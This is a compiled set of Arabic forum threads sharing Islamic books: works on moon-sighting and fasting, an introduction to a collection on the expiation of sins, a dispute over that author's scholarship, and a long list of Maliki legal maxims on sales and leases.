ـ[علي السلوم]ــــــــ[29 - 07 - 10, 06:23 م]ـ
ذيل الصواعق لمحو الأباطيل والمخارق
تاليف الشيخ العلامة حمود بن عبد الله التويجري الحنبلي / ت 1413 هـ
طبع الطبعة الاولى 1390 هـ في 367 صفحة
كاملا
http://ia331403.us.archive.org/1/items/dail_sawaiik_twijri/dail_sawaiik_twijri.pdf
جزاك الله خيرا أقصد ذيل الصواعق
أعتذر أتعبتك معي
ـ[الدسوقي]ــــــــ[31 - 07 - 10, 08:21 ص]ـ
بارك الله فيك، ورزقك العلم النافع والعمل الصالح
ـ[ابوعمر الدغيلبي]ــــــــ[02 - 08 - 10, 09:39 ص]ـ
... وينظر:
" قواطع الأدلة في الرد على من عول على الحساب في الأهلة "
للشيخ العلامة حمود بن عبد الله التويجري رحمه الله تعالى
وحمله للشاملة وورد.
وفيه إبطال الحساب الفلكي في الصوم والإفطار، وبيان ما فيه من أضرار.
و منها:
" أولها: الابتداع في الدين والشرع فيه بما لم يأذن به الله.
الثاني: مخالفة النصوص الثابتة عن النبي -صلى الله عليه وسلم- في اعتبار دخول الشهر وخروجه برؤية الهلال أو إتمام العدة ثلاثين يوماً إذا لم ير الهلال.
الثالث: الأخذ بما نفاه رسول الله -صلى الله عليه وسلم- عن أمته من العمل بالحساب في دخول الشهر وخروجه.
الرابع: مخالفة السنة الثابتة عن النبى -صلى الله عليه وسلم- في قبول شهادة العدول من المسلمين على رؤية الهلال في دخول شهر رمضان وخروجه والعمل بها".
وغيرها كثير، وجمع أحاديث الهلال (17 حديثا) وتكلم على فقهها.
http://www.ahlalhdeeth.com/vb/showthread.php?t=150076
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
وسبحانك اللهم وبحمدك أشهد ألا إله إلا أنت أستغفرك وأتوب إليك.
الكتاب ناقص بارك الله فيك
ـ[الدسوقي]ــــــــ[03 - 08 - 10, 03:25 ص]ـ
هذا ما عندي منه، ولعلك تكمله، بارك الله فيك.
ـ[الدسوقي]ــــــــ[03 - 08 - 10, 03:27 ص]ـ
... وينظر: كتابُ بُطلانِ العملِ بالحسابِ الفلكيِّ في الصومِ والإفطارِ، وبيانِ ما فيه مِنْ مفاسدَ، ووجوبِ العملِ بالرؤيةِ الشرعيةِ الثابتةِ عن خيرِ البريَّةِ _ صلى الله عليه وسلم _ من أربعينَ وجهًا.
أحدث نسخة مزيدة ومنقحة = 43 وجها = شعبان 1431 هـ
http://www.ahlalhdeeth.com/vb/showpost.php?p=1338487&postcount=20
ـ[ابوعمر الدغيلبي]ــــــــ[03 - 08 - 10, 06:30 ص]ـ
هذا ما عندي منه، ولعلك تكمله، بارك الله فيك.
رفع الله قدرك أخي الدسوقي
هو مجرد تنبيه فقط لمن يحمل الكتاب أنه ليس بكامل
ـ[الدسوقي]ــــــــ[10 - 08 - 10, 04:45 م]ـ
... قَالَ رَسُولُ اللهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ:
" لَا تَصُومُوا حَتَّى تَرَوْا الْهِلَالَ وَلَا تُفْطِرُوا حَتَّى تَرَوْهُ فَإِنْ غُمَّ عَلَيْكُمْ فَأَكْمِلُوا الْعِدَّةَ ثَلَاثِينَ ". حديث شريف صحيح.
ـ[بدري أبوعاصم]ــــــــ[11 - 08 - 10, 04:45 م]ـ
جزاكم الله خيرا
وبارك الله فيك وأحسن الله اليك اخي الدسوقي
ـ[الدسوقي]ــــــــ[11 - 08 - 10, 05:05 م]ـ
جزاك الله خيرا، وبارك الله فيك، ورزقك العلم النافع والعمل الصالح.(61/419)
حملوا كتابي ((مكفرات الذنوب في القرآن والسنة)) للشاملة 3+ ورد + pdf
ـ[علي 56]ــــــــ[05 - 10 - 08, 08:38 ص]ـ
((حقوق الطبع متاحة للهيئات العلمية والخيرية))
بسم الله الرحمن الرحيم
الحمد لله غافر الذنوب، وكاشف الكروب، وساتر العيوب، وقابل التوب، أحمده وأشكره وأستغفره، وإليه من كل حوبٍ أتوب، وأشهد أن لا إله إلا الله وحده لا شريك له علاَّم الغيوب، وأشهد أن سيدنا محمداً عبده ورسوله، وصفيه وخليله، خير نبي مرسل وأكرم شافع مفضل، صلَّى الله عليه وعلى آله وصحبه البدور الكمَّل وسلَّم تسليماً كثيرا إلى يوم الدين.
أما بعد: فإن الله تعالى وعد عباده المؤمنين مغفرته في كتابه المبين، وعلى لسان رسوله الصادق الأمين فقال سبحانه وتعالى: {قُلْ يَا عِبَادِيَ الَّذِينَ أَسْرَفُوا عَلَى أَنفُسِهِمْ لَا تَقْنَطُوا مِن رَّحْمَةِ اللَّهِ إِنَّ اللَّهَ يَغْفِرُ الذُّنُوبَ جَمِيعًا إِنَّهُ هُوَ الْغَفُورُ الرَّحِيمُ} (53) سورة الزمر.
وبشر النبي - صلى الله عليه وسلم - أمته بالمغفرة في أحاديث كثيرة منها: عن أَنَسَ بْنِ مَالِكٍ قَالَ سَمِعْتُ رَسُولَ اللَّهِ - صلى الله عليه وسلم - يَقُولُ: «قَالَ اللَّهُ يَا ابْنَ آدَمَ إِنَّكَ مَا دَعَوْتَنِى وَرَجَوْتَنِى غَفَرْتُ لَكَ عَلَى مَا كَانَ فِيكَ وَلاَ أُبَالِى يَا ابْنَ آدَمَ لَوْ بَلَغَتْ ذُنُوبُكَ عَنَانَ السَّمَاءِ ثُمَّ اسْتَغْفَرْتَنِى غَفَرْتُ لَكَ وَلاَ أُبَالِى يَا ابْنَ آدَمَ إِنَّكَ لَوْ أَتَيْتَنِى بِقُرَابِ الأَرْضِ خَطَايَا ثُمَّ لَقِيتَنِى لاَ تُشْرِكُ بِى شَيْئًا لأَتَيْتُكَ بِقُرَابِهَا مَغْفِرَةً». رواه الترمذي (1).
وعَنْ أَبِى سَعِيدٍ الْخُدْرِىِّ قَالَ سَمِعْتُ رَسُولَ اللَّهِ - صلى الله عليه وسلم - يَقُولُ: «إِنَّ إِبْلِيسَ قَالَ لِرَبِّهِ بِعِزَّتِكَ وَجَلاَلِكَ لاَ أَبْرَحُ أُغْوِى بَنِى آدَمَ مَا دَامَتِ الأَرْوَاحُ فِيهِمْ. فَقَالَ اللَّهُ فَبِعِزَّتِى وَجَلاَلِى لاَ أَبْرَحُ أَغْفِرُ لَهُمْ مَا اسْتَغْفَرُونِى» (2).
وهذا الكتاب قد جمعت فيه الآيات والأحاديث المقبولة التي تتعلق بمغفرة الذنوب، التي يقع بها الإنسان، وما أكثرها، وقد قسمته إلى بابين:
الباب الأول- آيات المغفرة في القرآن الكريم:
وفيه الفصول التالية:
الفصل الأول-عدم مغفرة ذنوب الأصناف التالية
الفصل الثاني-مضاعفة الحسنات دون السيئات
الفصل الثالث-أسباب تخلف الوعيد ...
الفصل الرابع-الحث على التوبة
الفصل الخامس-مغفرة الذنوب
الباب الثاني- كفارات الذنوب في السنة النبوية
وفيه فصلان
الفصل الأول- في الأفعال والأقوال المحصلة للمغفرة إن شاء الله تعالى
الفصل الثاني- فيما ورد من أحاديث فيها نجاة من أو عتق من النار ...
وأما طريقتي في العمل فهي كما يلي:
بالنسبة للآيات فهي مشكلة، معزوة لمظانها في القرآن الكريم، بالرسم العادي.
وقد قمت بشرحها بشكل موجز، بما يوضح معناها، ويبين مرماها.
وأما بالنسبة للأحاديث فقد استقصيت الأحاديث الصحيحة والحسنة بشقيها، وبعض الأحاديث الضعيفة المتممة لها وهي مما يستحبُّ العمل به في فضائل الأعمال بشروطها (3).
وحكمت على الأحاديث صحة وضعفاً وفق المنهج الوسط الذي سار عليه علماء الجرح والتعديل.
وصنتهُ من الأحاديث المنكرة والواهية والساقطة، وما دونها، حيث إن غالب الكتب المؤلفة في هذا الموضوع مليئة بالمناكير والواهيات، بل وبعض الموضوعات أحياناً.
ولم أفصِّل في التخريج، بل أوجزت ليكون كتابا لعامة الناس، وليس للباحثين، إذ لكلِّ مقامٍ مقالٌ.
وقد شرحت بعض الكلمات الغريبة، ووضحت بعض الأمكنة ولا سيما التوبة ونحوها من أجل التوضيح أو إزالة لبس.
وقد ذكرت المصادر الهامة بنهايته.
وقد فصلت القول في مقدمة كتابي ((الخصال الموجبة لدخول الجنة في القرآن والسنة)) حول الحساب والجزاء يوم القيامة.
والخلاصة أن من مات موحدا لا يخلدُ في النار - إن دخلها - وسيعود للجنة ولو بعد حين بإذن الله تعالى، ومن تاب تاب الله عليه مهما كانت ذنوبه، وأن من زادت حسناته على سيئاته يوم القيامة لا يدخلُ النار أصلا ويذهب به إلى الجنة مباشرة، ولا من تساوت أيضاً، ولو أخِّرَ عن الدخول قليلاً، وهم أهل الأعراف.
(يُتْبَع .. اقلب الصفحة)
(61/420)
ولا يحتمُ بدخول النار إلا من مات على الكفر أو الشرك أو النفاق العقدي، وما سواه قابلٌ للمغفرة قال تعالى: {إِنَّ اللّهَ لاَ يَغْفِرُ أَن يُشْرَكَ بِهِ وَيَغْفِرُ مَا دُونَ ذَلِكَ لِمَن يَشَاء وَمَن يُشْرِكْ بِاللّهِ فَقَدِ افْتَرَى إِثْمًا عَظِيمًا} (48) سورة النساء.
وعَنْ أَبِى الدَّرْدَاءِ، قَالَ: أَوْصَانِي رَسُولُ اللهِ - صلى الله عليه وسلم - بِتِسْعٍ: لاَ تُشْرِكْ بِاللهِ شَيْئًا، وَإِنْ قُطِّعْتَ أَوْ حُرِّقْتَ، وَلاَ تَتْرُكَنَّ الصَلاَةَ الْمَكْتُوبَةَ مُتَعَمِّدًا، وَمَنْ تَرَكَهَا مُتَعَمِّدًا، بَرِئَتْ مِنْهُ الذِّمَّةُ، وَلاَ تَشْرَبَنَّ الْخَمْرَ، فَإِنَّهَا مِفْتَاحُ كُلِّ شَرٍّ، وَأَطِعْ وَالِدَيْكَ، وَإِنْ أَمَرَاكَ أَنْ تَخْرُجَ مِنْ دُنْيَاكَ، فَاخْرُجْ لَهُمَا، وَلاَ تُنَازِعَنَّ وَلاَةَ الأَمْرِ، وَإِنْ رَأَيْتَ أَنَّكَ أَنْتَ، وَلاَ تَفْرِرْ مِنَ الزَّحْفِ، وَإِنْ هَلَكْتَ وَفَرَّ أَصْحَابُكَ، وَأَنْفِقْ مِنْ طَوْلِكَ عَلَى أَهْلِكَ، وَلاَ تَرْفَعْ عَصَاكَ عَلَى أَهْلِكَ، وَأَخِفْهُمْ فِي اللهِ، عَزَّ وَجَلَّ. (4)
أسأل الله تعالى أن ينفع به كاتبه وقارئه والدالُّ عليه وناشره في الدارين آمين.
وكتبه
الباحث في القرآن والسنة
علي بن نايف الشحود
في 27 جمادى الآخرة لعام 1429 هـ الموافق ل 1/ 7/2008 م
__________
(1) - سنن الترمذى برقم (3885) وأحمد برقم (22089 و22125) والطبراني برقم (12177) من طرق وهو حسن لغيره - عنان: السحاب القُراب: قراب الأرض أى بما يقارب ملأها
(2) - مسند أحمد برقم (11548) وهو حديث حسن
(3) - انظر إن شئت كتابي ((الخلاصة في أحكام الحديث الضعيف))
(4) - أخرجه البخاري في الأدب المفرد (18) والمسند الجامع - (ج 14 / ص 609) (10976) من طرق عنه وعن غيره وهو حديث حسن
الذمة والذمام: العَهْد، والأمَانِ، والضَّمان، والحُرمَة، والحقِّ -الزحف: الجهاد ولقاء العدو في الحرب - الطول: السعة
ـ[بن سالم]ــــــــ[05 - 10 - 08, 06:16 م]ـ
... جَزاكَ اللهُ خيراً.
ـ[علي 56]ــــــــ[05 - 10 - 08, 06:25 م]ـ
وأنت أخي الحبيب
جزاك الله خيراً
ـ[أبو عبد الله السني]ــــــــ[05 - 10 - 08, 07:08 م]ـ
جزاكم الله خيراً
ملاحظة بسيطة:
شيخنا الحبيب: عند استيرادكم للكتاب من وورد إلى الشاملة لا تجعلون فاصل صفحات الوورد، والأحسن في نظري أن تجعل هذا الفاصل، لأن البرنامج عندئذ يستورد كل صفحة وورد في صفحة مستقلة في الشاملة، وعند فهرستكم للكتاب يستقيم الترقيم الذي في الوورد ويكون نفسه في الشاملة، ويمكننا الرجوع لأي موضوع في الفهرس برقم صفحته، أما الآن فالفهرس في الوورد صحيح، ونخسر فهرستكم للشاملة، فمثلاً كتاب الدفاع عن رياض الصالحين رقم صفحة المصادر والمراجع الهامة هو 325 في الوورد أما في الشاملة فالكتاب كله 94 صفحة.
وهذا الكتاب الفهرس العام صفحة 270 وآخر صفحة في الشاملة 155
ـ[علي 56]ــــــــ[05 - 10 - 08, 07:51 م]ـ
جزاك الله خيرا
وسوف نأخذ بنصيحتكم حول صفحات الورد عند تحويلها للشاملة 3
ـ[أبو عبد الله السني]ــــــــ[05 - 10 - 08, 10:23 م]ـ
جعلك الله مفتاحاً للخير
.............................. مغلاقاً للشر
ـ[علي 56]ــــــــ[06 - 10 - 08, 06:53 م]ـ
ولك مثل دعوتك
ـ[منير الجزائري]ــــــــ[06 - 10 - 08, 09:41 م]ـ
جزاك الله خيرا
ـ[علي 56]ــــــــ[06 - 10 - 08, 09:45 م]ـ
وأنت أخي الحبيب
جزاك الله خيرا
ـ[إحسان العتيبي]ــــــــ[07 - 10 - 08, 04:55 ص]ـ
أخي (أبو عبد الله السني) وفقه الله
هلا ذكرت لهذا الباحث! نصيحة ليدع نشر كتابه السيء " الدفاع عن رياض الصالحين "! فقد آذانا بما فيه من سوء وقلة أدب مع مشايخ أهل السنة كالألباني والعثيمين وغيرهما؟!!!
وكنت قد كتبت تحذيرا للإدارة لحذفه من الموقع عندما أنزله فيه، وذكرت ما يليق به من حال، لكنني ما أن انتهيت من الكتابة وأرسلت الموضوع حتى رأيتهم حذفوه جزاهم الله خيراً، والحمد لله، وأرجو أن يكون قد وجهوا له إنذاراً بعدم تكرار مثل تلك الإساءات!
وحتى إنه " لطش " ما ذكرته من علل أحاديث " رياض الصالحين " ولم يذكر ذلك عني! وإنما نالني منه التجريح، والاتهام بالجهل .. الخ.
وأرجو أن يتوب هذا الذي يسمي نفسه باحثا! والذي لا يعدو عمله النسخ واللصق من المواقع! ثم يزيد عليها ما لو تتبع لرأينا فيه عجبا!
وهذا نص ما كتبت بعد حذفه في موضوع له دعاية لكتابه! " القدوة الحسنة "!!:
"
الحمد لله أن حذفت الإدارة كتابك! في " الدفاع عن رياض الصالحين "! فقد اشتمل الكتاب السيء على وقاحة وقلة أدب مع العلماء والمشايخ من أهل السنة، فضلاً عن الغلو في تصحيح وتحسين الأحاديث! <? xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
ولقد أسأت أيها الباحث! لنفسك بمثل هذا الكتاب وملأته بعبارات التنقيص والتجريح بباطل وجهل < o:p></o:p>
فاتق الله ربك< o:p></o:p>
وإنما تسيء لنفسك لا لأولئك الأئمة الأعلام< o:p></o:p>
ولترين أثر كتابك السيء ذلك على نفسك إن لم تتداركها بتوبة< o:p></o:p>
ولسنا والله نغلو في عالم من علمائنا لكنه يسيئنا قلة الأدب في الرد عليهم ونقد كلامهم< o:p></o:p>
وهل تسمي النسخ واللصق " كتاباًَ "؟!!!!! < o:p></o:p>
وكيف ترى نفسك في ذلك الكتاب أمام مرآة هذا النقل من المواقع " القدوة الحسنة "؟!!! < o:p></o:p>
ولماذا لم تحل على الذي " لطشت " منه علل الأحاديث؟!! "< o:p></o:p>(61/421)
حمل كتاب ((بيان تلبيس المفتري محمد زاهد الكوثري)) نسخة مصورة pdf
ـ[سامح رضا]ــــــــ[05 - 10 - 08, 09:32 ص]ـ
حمل كتاب ((بيان تلبيس المفتري محمد زاهد الكوثري)) نسخة مصورة pdf
للشيخ أحمد بن الصديق الغماري
تحقيق على حسن الحلبي
الرابط
http://www.4shared.com/get/52468109/27fed0f2/_____.html(61/422)
[للتحميل] الكليات الفقهية للإمام أبي عبد الله محمد المقري ت 759 هـ ( word)
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 12:38 م]ـ
الكليات الفقهية للإمام المقري ت 759 هـ جزء من كتاب له وهو "عمل من طب لمن حب" وهو كتاب وضعه المؤلف ليقوم بدور الطبيب الحاذق في معالجة ابن خاله الصغير الذي تعشق كتاب 'الشهاب' للقضاعي في الأحاديث، وصار يهذي بألفاظه فكان هذا الكتاب الذي موضوعه فقهي أصولي قد اشتمل على 'أحاديث حكمية، وكليات فقهية، وقواعد الأصول، والاصطلاحات والألفاظ وغير ذلك من الأمور الهامة' ويليه' كليات المسائل ورسالة في إيضاح مضمون قاعدة إذا.'سقط الأصل سقط الفرع وجواب الشريف التلمساني.
وكتاب الكليات الفقهية حققه ونشره محمد أبو الأجفان.
ولعدم توفر الأصل على النت ولا الكليات الفقهية المقتبسة منه أيضا، وأهميتها البالغة، أرفعها هنا على شكل وورد ( word)
وأبدأ بعرض أبواب المعاملات المالية ثم النكاح، ثم كامل الكليات الفقهية في المرفقات
ـ[عبدالحكيم طويلب]ــــــــ[05 - 10 - 08, 12:40 م]ـ
أين الكتاب ...
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 12:48 م]ـ
البيوع
273. كل ما لا يقدر على تسليمه ـ أي تمكين المشتري منه ـ فلا يجوز بيعه له ولا يصح، إلا أن يكون المانع تعلق حق الغير، فيتوقف على رضاه.
274. كل نجس لا يمكن تطهيره وعين لا منفعة فيها أو حرم الشرع بعض المقصود منها فلا يجوز بيعه.
275. كل عين مقصودة فالجهل بها مبطلٌ للبيع بخلاف غير المقصودة.
276. كل عقد مبني على المكايسة فشرطه معرفة القدر ولا يجوز جهله جملة وتفصيلاً، بخلاف أحدهما، ما لم يمنع مانع، إلا بيع المعمر أو ورثته العُمرى من المعمر أو ورثته والثمرة المأبورة لمشتري الأصل، ومال العبد يشتريه المبتاع بعد الصفقة، قاله ابن الفخار.
277. كل مبيع صحيح هلك قبل قبضه فمن المشتري، إلا ما بيع على صفة أو تقدم رؤيةٍ أو خيار أو بقي فيه حق توفية أو ترك في الشجر للطيب أو حبس في الثمن عند ابن القاسم خلاف مذهب مالك في الكتاب.
278. كل بيع فاسد فضمانه من البائع، فإن قبضه المبتاع ضمنه بقيمته يوم قبضه.
279. كل شيء فقبضه ما يقتضي اختصاص القابص فيه ورفع يد المقبض عنه عرفًا.
280. كل ما لا يضمنه المشتري قبل القبض فإنه يضمنه به، إلا ما فيه عهدة أو مواضعة.
281. كل صفقة اشتملت على حرام لا يقبل البيع فهي منقوضة.
282. كل بيع فاسد فهو على حكم الملك الأول إن فسخ، لأنه لا ينقل الملك.
283. كل حالة يكون ضمان المبيع فيها من البائع فحدوث العيب فيها يوجب الخيار للمبتاع.
284. كل ما الغالب عليه السلامة من الغائب فبيعه على الوصف أو تقدم الرؤية جائز إن عسرت رؤيته.
285. كل صفة تختلف الأثمان باختلافها أو الأغراض لأجلها فواجب ذكرها، وإلا فلا عبرة بها.
286. كل خيار فالضمان فيه من البائع لأنه على ملكه إلا أن يقبض المشتري ما يغاب عليه، ولا بينة له على التلف فيضمن الثمن أو الأكثر، إن كان الخيار للبائع وأبى المشتري أن يحلف.
287. كل ما سوى الرقيق فلا عهدة فيه لثلاث ولا لسنة.
288. كل ما حدث للرقيق في ثلاثة أيام بعد يوم البيع أو ليلته في بلد فيه العهدةُ أو حمل السلطان عليها قهو للمشتري وعلى البائع وعليه النفقة، ولا غلة له في العهدة خاصة، ويضمن الجنون والجذام والبرص إلى تمام السنة.
289. كل من يضمن النقصان فله الزيادة إلا غلة العهدة، وقال سحنون: إن كان مالاً وهب للعبد ونحوه، وأما النماء للبدن فللمشتري على كل حال. قال ابن محرز: وهو الصحيح.
290. كل ما يوزن أو يكال فالجزاف فيه جائز مطلقًا، بخلاف ما يعد إلا أن يكثر جدا والأغراض متقاربة في آحاده أو يقل ثمنه، إلا العين المسكوك المتعامل به، وشرط الجزاف: العيان واستواؤهما في الجهل بقدره، واعتيادهما الحزر فيه ونفي ما يتوقع من الربا والمزابنة.
291. كل ما أصله الوزن أو العد مما يمنع التفاضل فيه ففيه التحري جائز إن قل ولا يجوز في المكيل بوجه.
292. كل ما يمنع التفاضل فيه فلا يجوز قسمه بالتحري.
293. كل ما سوى الطعام والشراب فالمعاوضة به وعليه قبل قبضه جائزة في الجملة، ولا تجوز بما كان عن معاوضة منهمامما فيه حق توفية، إلا في التولية والشركة والإقالة.
(يُتْبَع .. اقلب الصفحة)
(61/423)
294. كل طعام أو شراب فلا نساء بينه وبين طعام أو شراب، واختلاف الجنسية يبيح التفاضل كالتقدير في الوجهين، والمعروف أن الماء ليس بربوي.
295. كل صنف من التوابل جنس على حدته كالقطنية.
296. كل ما حدث في المبيع بسبب التدليس فإنه لا يمنع الرد.
297. كل ما يمكن التدليس به من العيوب لاستوائهما في العلم لظهوره أو الجهل لعدم الدليل عليه غالباً، فلا يرد ولا يرجع له شيء.
298. كل شرط تتعلق به الأغراض عمومًا أو خصوصًا فوجود المبيع على خلافه يوجب الخيار للمشتري حتى أعلى، إذا ظهر قصد خلافه وإلا فلا.
299. كل ما يمكن التدليس به مما تشهد العادة بالدخول على السلامة منه ويمكن انفكاك المبيع عنه ويحط من الثمن فإنه يوجب الخيار، إلا في الأصول إذا كان الحط يسيراً فالرجوع بقيمته كالفوات.
300. كل اختلاف يرجع إلى الثمن فإنه يوجب التحالف والتفاسخ، إلا في مقداره إذا فاتت السلعة فقول المشتري وإلا فيما فيه شهادة العرف.
301. كلما فاتت السلعة أو أبعد أحد المتداعيين روعي الأشبه وإلا فلا.
302. كل ما يباع بالنقد والأجل فالقول في دفع ثمنه قول البائع إلى ما يباع مثله لمثله، وفي قبضه قول المبتاع.
303. كل ما الشأن فيه تقديم الثمن فالقول فيه من كان في يده ولو في المجلس، إلا أن يقول دفعت بعد أن قبضت.
304. كل ما الشأن فيه النقد فالقول فيه بعد الافتراق قول الحائز، وإلا فقول البائع فيما يقدم.
305. كل ما يرتفق به فإن احتكاره يمنع إن أضر بالناس، وإلا فلا.
306. كل ما له عين قائمة فإنه يحسب ويربح له في بيع المرابحة.
307. كل ما تأثيره في سوق السلعة دون عينها فإنه يحسب ولا يربح له.
308. كل ما لا تأثير له فيهما فلا يحسب، ولا يربح له.
309. كل من ابتاع بشيء فنقد غيره ولم يبين فللمبتاع الرد عليه، فإن فاتت ضرب الربح على الجزء الذي أربحه إن كان أحظى للمبتاع، وإلا فله التماسك بصفقته وسواء النقد والمثلي.
310. كلما استوى الثمنان في الآجال أو الأجلان لم يراع اختلاف الآخر.
311. كلما كانت البيعة الأولى نقدًا لم يتهم إلا أهل العينة
312. كل ما أعطى فيه رجلان سومًا واحدًا فهو بينهما في المزايدة إلا أن يكون البائع هو المالك فله أن يبيع ممن شاء ما لم يركن.
313. كل ما يُتقَى كونه ثمرة مرة وسلفًا أخرى فلا يجوز اشتراطه كالنقد في الخيار، فإن تركب امتنع رأسًا.
314. كل ما لا تضبطه الصفات أو يؤدي ضبطه بالصفات المعتبرة فيه إلى تعيينه، فلا يجوز السلم فيه.
315. كل ما هانت صنعته امتنع سلمه في أصله، وبالعكس.
316. كلما اختلفت أصناف العروض والحيوان ومنافعها اختلافًا بائنًا جاز سلم بعضها في بعض. ابن القاسم: وليس ذلك في الطير بخلاف الرقيق والأنعام.
317. كل أجل يمكن فيه خروج المسلم فيه من المسلم فإن سلمه إليه فيه، يمتنع.
318. كل ما كان المأخوذ عن المسلم فيه مما يسلم فيه رأس المال ويباع بالمسلم فيه يدًا بيد، وكان المسلم فيه مما يباع قبل قبضه جاز الأخذ، وإلا فلا.
319. كل ما سلم المتراطلان من زيادة مخالف لأجل الرجحان أو أخرج أحدهما ما نقده أجود من بعض أو أنفق وبعضه أردى، واستوت الكفتان ولو بصنجة جازت المراطلة وإلا فلا.
320. كل ما كان التعامل بالعدد جازت المبادلة فيما دون سبعة بزيادة السدس في الوزن فأقل في كل دينار، ما لم يكن الأنقص أجود.
321. كل من قضى أعلى مما عليه صفة جاز، وقدرًا امتنع في القرض خاصة إلا في اليسير جدًا، وأدنى جاز قبوله في الأجل.
322. كل ما زاد على نصف درهم امتنع رده في الدرهم، وبالعكس، ولا يجوز الرد إلا في درهم فأقل في بيع مع التناجز، وكون المردود مسكوكًا والدرهم معلوم الوزن.
323. كل ما سوى الدنانير والدراهم فإنه يتعين، وتتعين هي بالتعيين في الصرف أو بالقبض أو بالمفارقة، وفي البيع إن عينت خلاف، هذا ما لم تختص بصفة حل أو حرمة فإنها تتعين، وفي هذا الأصل اضطراب كثير.
324. كل باب فالإقالة فيه بيع إلا المرابحة والإقالة في الطعام، وفي وجوب عهدة الشفعة في الإقالة على المشتري أو تخييره بين البائع والمشتري خلاف، ومن ثم قيل: الإقالة في الشفعة ليست بيعًا.
325. كل شيء معروف فالبيع فيه جائز إلا الجواري وتراب الفضة، قاله في الكتاب وفي الجواهر.
(يُتْبَع .. اقلب الصفحة)
(61/424)
326. كل ما جاز أن يثبت في الذمة سَلَمًا جاز قرضه ما لم يؤد إلى عارية الفروج، وعلى ظاهره أكثر الأشياخ.
327. كل قرض جر نفعًا للمقرض فإنه يمتنع، ومن ثم لم يجز أن يوفى ببلد آخر، إلا في العين خاصة إذا ضرب أجلا بلغه، كالبيع مطلقًا، ولم يكن ذلك لغرر الطريق ولا غيره.
328. كل ما سوى العين فلا يلزم قبوله قبل الأجل في غير القرض، ويلزم فيها كالقرض في كل شيء، ومن ثم لم يدخله: حُطَّ الضَّمانَ وأزيدك، بخلاف: ضَعْ وتعجَّل.
329. كل من أخَّر ما وجب له عُدَّ مسلفًا.
330. كل هواء فحكمه حكم ما تحته، وهو لمن هو له، والثرى لمن له الصعيد.
331. كل ما لم يبد صلاحه بعضه أو ما حكمُهُ حكمُ البعض منه للقرب واتحاد الجنس فلا يباع من غير من له الأصل إلا بشرط الجذِّ مع الحاجة إليه وعدم التمالئ المفسد.
332. كل ما لم تتصل بطونُه فلا يباع، ما لم يخلق منه بصلاح ما خلق، فإن اتصلت وتميزن فقولان.
333. كل ما يدخر من الثمار فجائز للمُعرى أو من ينتزل منزلته أخذه من المُعري أو من تنزل منزلته يخرصه من نوعه بعد صلاحه، إذا كان المأخوذ بعض ملكه ولم يزد الخرص على خمسة أوسق إلا بعض الأخذ، وكان الخرص في ذمته يعطيه عند الجذاذ.
334. كل ما لا يستكاع دفعه غالبا، وإذا علم به فهو جائحة وبالعكس.
335. كل ما بيع قبل اليبس من الثمار ففيه الجائحة والشفعة، وإن يبس في الشجرة. وبالعكس، والحاصل: أن الجاحو والشفعة في الثمار متساويتان نفيًا وإثباتًا.
336. كل ما أجيح من قِبَل العطش وضع، وإلا فإن كان مما يدخر وُضع ما بلغ الثلث كيلاً أو وزنًا أو قدرًا، وإلا فقدر قيمة ما بلغ ثلث النبات في زمانه من قيمة باقية، وإلا فلا يوضع شيء.
337. كل صلح على عوض فهو كالبيع.
338. كل نقل فهو مفتقر إلى القبول، بخلاف الإسقاط، وفي الإبراء قولان.
339. كل نوع من أنواع القسم فهو بيع في الحكم إلا في القيام بالغبن.
340. كل ما توجبه القسمة فجائز أن يتراضيا عليه من غير حكم.
341. كل ما لا يجبر على قسمه فلا يجوز أن يسهم عليه وبالعكس، ولا يجمع بين حظين في قسم القرعة ولا يقضى بغيره، ولا يكون في المثليات، ولا يجمع فيه بين متباينين جدًا، ولا يُضم إلى أحد السهام عين.
342. كل ما سوى الأرض والبناء والشجر والثمار فيها فلا شفعة فيه.
343. كل صاحب شرك أخص فهو أشفع.
344. كل ما لا يحمل القسمة إلا على فساد وخروج عن الوجه الذي يراد له ففي قسمه واستشفاعه قولان لمالك وابن القاسم.
345. كل عذر لا يسقط الشفعة معه مُضيُّ الأجل وهو سنة وشهران فلمن زال عنه من الأجل ما للشفيع.
346. كل من انتقل إليه الملك بغير معاوضة فلا شفعة عليه، وبالعكس.
347. كل ما بيع جبرًا في غير تفليس فلا شفعة فيه.
348. كل ما لغيرك فيه الرد والإجازة أو الأخذ والتسليم فلا تتصرف فيه حتى تعلمه فيقبل أو يترك، وذلك واجب.
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 12:50 م]ـ
الإجارات
349. كل عقد ترتبت مصلحته عليه بنفسه فهو على اللزوم وإلا فعلى الجواز، ما لم يعارض تعلق حق به، وذلك: الجعالة والمغارسة والقراض والتحكيم والوكالة.
350. كل ما يحل في البيع يحل في الإجارة، وكل ما يحرم في البيع يحرم في الإجارة. قال أبو محمد في مختصره: الإجارة كالبيع فيما يحل ويحرم، وفيه بحث.
351. كل عين لها منفعة معتبرة تجوز هبتها، وإجارتها لتلك المنفعة جائزة في الجملة، إلا ما يُعرفُ بعينه على ما يأتي.
352. كل عقد فوضعه على استغراق الزمان، إلا ما خصه الشرع أو العرف.
353. كل ما يلزم تعيينه من محال المنفعة في الإجارة فتلفه كتلف العين المستأجرة يوجب الفسخ ويحسب ما مضى، وإلا فلا.
354. كل ما جاز فيه الجعل جازت فيه الإجارة، ولا ينعكس.
355. كل مستأجر مؤتمن إلا الصناع المتصدرين ونحوهم لما غابوا عليه للضرورة، دون من تحتهم، وإلا حامل الطعام لسرعة الأيدي إليه.
356. كل من عمل عملاً لغيره يوصله إليه نفعًا مما لابد له من الإنفاق فيه بما ينفق على مثله فله ما بذل وأجرة ما عمل.
357. كل كراء فاسد قبض إلى تمام المدة ففيه كراء المثل على الاستعمال، ولو أهمل.
358. كل كراء ربع وقع إلى غير غاية معلومة فإن للمكتري أن يدعه متى شاء وللمكري أن يبطله، وله بحساب ما مر ما لم يكن بينهما شرط، وبالعكس.
359. كل ما سوى العين المتعامل بها فلا يكون رأس مال القراض، بخلاف في النقر.
